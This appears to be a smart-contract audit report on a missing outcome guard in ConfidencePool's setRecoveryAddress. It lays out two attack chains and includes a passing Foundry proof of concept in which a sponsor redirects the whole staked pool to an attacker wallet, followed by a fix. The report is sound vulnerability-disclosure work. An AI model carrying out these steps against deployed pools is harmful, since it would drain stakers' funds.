FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: high

setRecoveryAddress Lacks Outcome Guard — Sponsor Can Repoint CORRUPTED Sweep Destination Post-Resolution

Author Revealed upon completion

Summary

[setRecoveryAddress](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L611-L618) is guarded only by onlyOwner and a non-zero check. It has no guard against the pool outcome being already resolved. Because every CORRUPTED-path sweep — [claimCorrupted](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L423), [sweepUnclaimedCorrupted](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L468), and [sweepUnclaimedBonus](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L506) — reads recoveryAddress live at call time (never snapshotted at resolution), the pool owner (sponsor) can silently redirect the entire pool balance after a bad-faith CORRUPTED outcome is frozen but before the sweep executes.

Vulnerability Details

Root Cause

setRecoveryAddress lacks an outcome != UNRESOLVED guard, and the sweep paths consume recoveryAddress live instead of from a snapshot taken at resolution time.

// ConfidencePool.sol:611-618
function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
// @audit — no outcome guard: callable after CORRUPTED resolution
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

Neither [flagOutcome](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L322-L379) nor the [claimExpired](file:///home/joe/sm-sec/2026-07-bc-confidence-pools/src/ConfidencePool.sol#L532-L554) auto-CORRUPTED branch snapshots recoveryAddress at resolution. The sweep functions then read the live value:

// claimCorrupted (line 423) — bad-faith path, sweeps entire pool balance
stakeToken.safeTransfer(recoveryAddress, toSweep);
// sweepUnclaimedCorrupted (line 468) — good-faith path, post-deadline remainder
stakeToken.safeTransfer(recoveryAddress, amount);
// sweepUnclaimedBonus (line 506) — SURVIVED/EXPIRED path, unclaimed bonus
stakeToken.safeTransfer(recoveryAddress, amount);

Design Inconsistency

The design locks other staker-relied-upon parameters once stakers commit capital:

  • expiry — locked on first stake via the one-way expiryLocked latch (DESIGN.md §10: "This protects staker reliance: once anyone has deposited against a given deadline, the sponsor cannot move it.")

  • Pool scope — locked once the registry leaves pre-attack staging (DESIGN.md §8)

recoveryAddress has the same staker-reliance property — stakers verify the worst-case sweep destination before depositing — but receives no equivalent lock. Once riskWindowStart seals, withdrawals are permanently disabled, so stakers cannot exit if the address changes.

Impact

Under a bad-faith CORRUPTED resolution, the full pool balance — snapshotTotalStaked + snapshotTotalBonus (all staker principal plus contributed bonus) — is swept to recoveryAddress via claimCorrupted. A sponsor who repoints the address after resolution diverts 100% of the TVL. claimCorrupted is permissionless, so the sponsor can trigger it themselves or let any third party do so. Every staker loses all principal with no on-chain recourse.

Under the SURVIVED/EXPIRED paths, only unclaimed bonus/dust is affected (principal is paid directly to stakers via claimSurvived/claimExpired), so the impact there is limited.

Attack Paths

Chain A — Moderator-Flagged Bad-Faith CORRUPTED

  1. Sponsor creates pool via factory with recoveryAddress = honestMultisig. Stakers verify the address and deposit.

  2. Registry transitions through UNDER_ATTACKCORRUPTED.

  3. Moderator calls flagOutcome(CORRUPTED, false, address(0)). Outcome is frozen; recoveryAddress is not snapshotted.

  4. Sponsor calls setRecoveryAddress(attackerWallet) — succeeds (only onlyOwner + non-zero check).

  5. Anyone calls claimCorrupted()toSweep = balanceOf(pool), transferred to the repointed attackerWallet.

Precondition: moderator collusion or compromise.

Chain B — Permissionless Auto-CORRUPTED via claimExpired

  1. Same deposit setup as Chain A.

  2. Registry reaches CORRUPTED with riskWindowStart != 0.

  3. No moderator action for expiry + MODERATOR_CORRUPTED_GRACE (180 days).

  4. Anyone calls claimExpired() → auto-resolves bad-faith CORRUPTED, sets claimsStarted = true.

  5. Sponsor calls setRecoveryAddress(attackerWallet)claimsStarted does not block it.

  6. Anyone calls claimCorrupted() — full pool swept to attackerWallet.

Precondition: 180-day moderator absence (no collusion needed).

Proof of Concept

Foundry PoC — 4 passing tests

Place in test/unit/M01_RecoveryAddressRepoint.t.sol and run:

forge test --match-contract M01_RecoveryAddressRepointTest -vvv
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
contract M01_RecoveryAddressRepointTest is BaseConfidencePoolTest {
address internal sponsor;
address internal honestRecovery;
address internal attackerWallet = makeAddr("attackerWallet");
address internal anyoneCaller = makeAddr("anyone");
uint256 internal constant STAKE_AMOUNT = 100e18;
uint256 internal constant BONUS_AMOUNT = 10e18;
function setUp() public override {
super.setUp();
sponsor = address(this);
honestRecovery = recovery;
}
/// @notice Chain A: moderator-flagged bad-faith CORRUPTED → repoint → full pool diverted
function test_chainA_moderatorFlaggedBadFaithCorrupted_repointDiverts() public {
assertEq(pool.recoveryAddress(), honestRecovery, "recovery should be honest at deposit");
_stake(alice, STAKE_AMOUNT);
_stake(bob, STAKE_AMOUNT);
_contributeBonus(carol, BONUS_AMOUNT);
uint256 totalPoolValue = STAKE_AMOUNT * 2 + BONUS_AMOUNT;
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertFalse(pool.goodFaith());
// THE BUG: repoint succeeds post-resolution
pool.setRecoveryAddress(attackerWallet);
assertEq(pool.recoveryAddress(), attackerWallet, "repoint succeeded post-resolution");
vm.prank(anyoneCaller);
pool.claimCorrupted();
assertEq(token.balanceOf(honestRecovery), 0, "honest recovery got NOTHING");
assertEq(token.balanceOf(attackerWallet), totalPoolValue, "attacker wallet got EVERYTHING");
assertEq(token.balanceOf(address(pool)), 0, "pool drained completely");
}
/// @notice Chain B: auto-CORRUPTED via claimExpired → repoint → full pool diverted
function test_chainB_autoCorruptedViaClaimExpired_repointDiverts() public {
_stake(alice, STAKE_AMOUNT);
_stake(bob, STAKE_AMOUNT);
_contributeBonus(carol, BONUS_AMOUNT);
uint256 totalPoolValue = STAKE_AMOUNT * 2 + BONUS_AMOUNT;
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE() + 1);
vm.prank(anyoneCaller);
pool.claimExpired();
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.CORRUPTED));
assertTrue(pool.claimsStarted(), "auto-CORRUPTED sets claimsStarted=true");
// THE BUG: repoint succeeds even with claimsStarted=true
pool.setRecoveryAddress(attackerWallet);
vm.prank(anyoneCaller);
pool.claimCorrupted();
assertEq(token.balanceOf(attackerWallet), totalPoolValue, "attacker got all");
assertEq(token.balanceOf(honestRecovery), 0, "honest recovery got nothing");
}
/// @notice sweepUnclaimedCorrupted also reads recoveryAddress live
function test_sweepUnclaimedCorrupted_alsoVulnerable() public {
_stake(alice, STAKE_AMOUNT);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, attacker);
vm.warp(pool.corruptedClaimDeadline() + 1);
pool.setRecoveryAddress(attackerWallet);
uint256 poolBalance = token.balanceOf(address(pool));
vm.prank(anyoneCaller);
pool.sweepUnclaimedCorrupted();
assertEq(token.balanceOf(attackerWallet), poolBalance, "sweep went to repointed address");
assertEq(token.balanceOf(honestRecovery), 0, "honest recovery got nothing");
}
/// @notice sweepUnclaimedBonus under SURVIVED also reads live (lower impact: bonus only)
function test_sweepUnclaimedBonus_survived_alsoReadsLive() public {
_stake(alice, STAKE_AMOUNT);
_contributeBonus(carol, BONUS_AMOUNT);
_passThroughUnderAttack();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
pool.pokeRiskWindow();
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.prank(alice);
pool.claimSurvived();
uint256 remaining = token.balanceOf(address(pool));
if (remaining > 0) {
pool.setRecoveryAddress(attackerWallet);
vm.prank(anyoneCaller);
pool.sweepUnclaimedBonus();
assertEq(token.balanceOf(attackerWallet), remaining, "bonus sweep diverted");
}
}
}

Result: All 4 tests pass, confirming setRecoveryAddress succeeds post-resolution across all affected paths.

Ran 4 tests for test/unit/M01_RecoveryAddressRepoint.t.sol:M01_RecoveryAddressRepointTest
[PASS] test_chainA_moderatorFlaggedBadFaithCorrupted_repointDiverts() (gas: 415447)
[PASS] test_chainB_autoCorruptedViaClaimExpired_repointDiverts() (gas: 379966)
[PASS] test_sweepUnclaimedBonus_survived_alsoReadsLive() (gas: 321193)
[PASS] test_sweepUnclaimedCorrupted_alsoVulnerable() (gas: 301853)
Suite result: ok. 4 passed; 0 failed; 0 skipped

Tools Used

Manual review, Foundry

Recommended Mitigation

Lock setRecoveryAddress once the outcome is set, consistent with the expiryLocked pattern:

function setRecoveryAddress(address newRecoveryAddress) external onlyOwner {
if (newRecoveryAddress == address(0)) revert InvalidRecoveryAddress();
+ if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
address oldRecoveryAddress = recoveryAddress;
recoveryAddress = newRecoveryAddress;
emit RecoveryAddressUpdated(oldRecoveryAddress, newRecoveryAddress);
}

This preserves the sponsor's pre-resolution control documented in DESIGN.md §10 while closing the post-resolution repoint. The outcome-based lock covers all affected sweep paths (claimCorrupted, sweepUnclaimedCorrupted, sweepUnclaimedBonus) because all three are gated on a terminal outcome.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!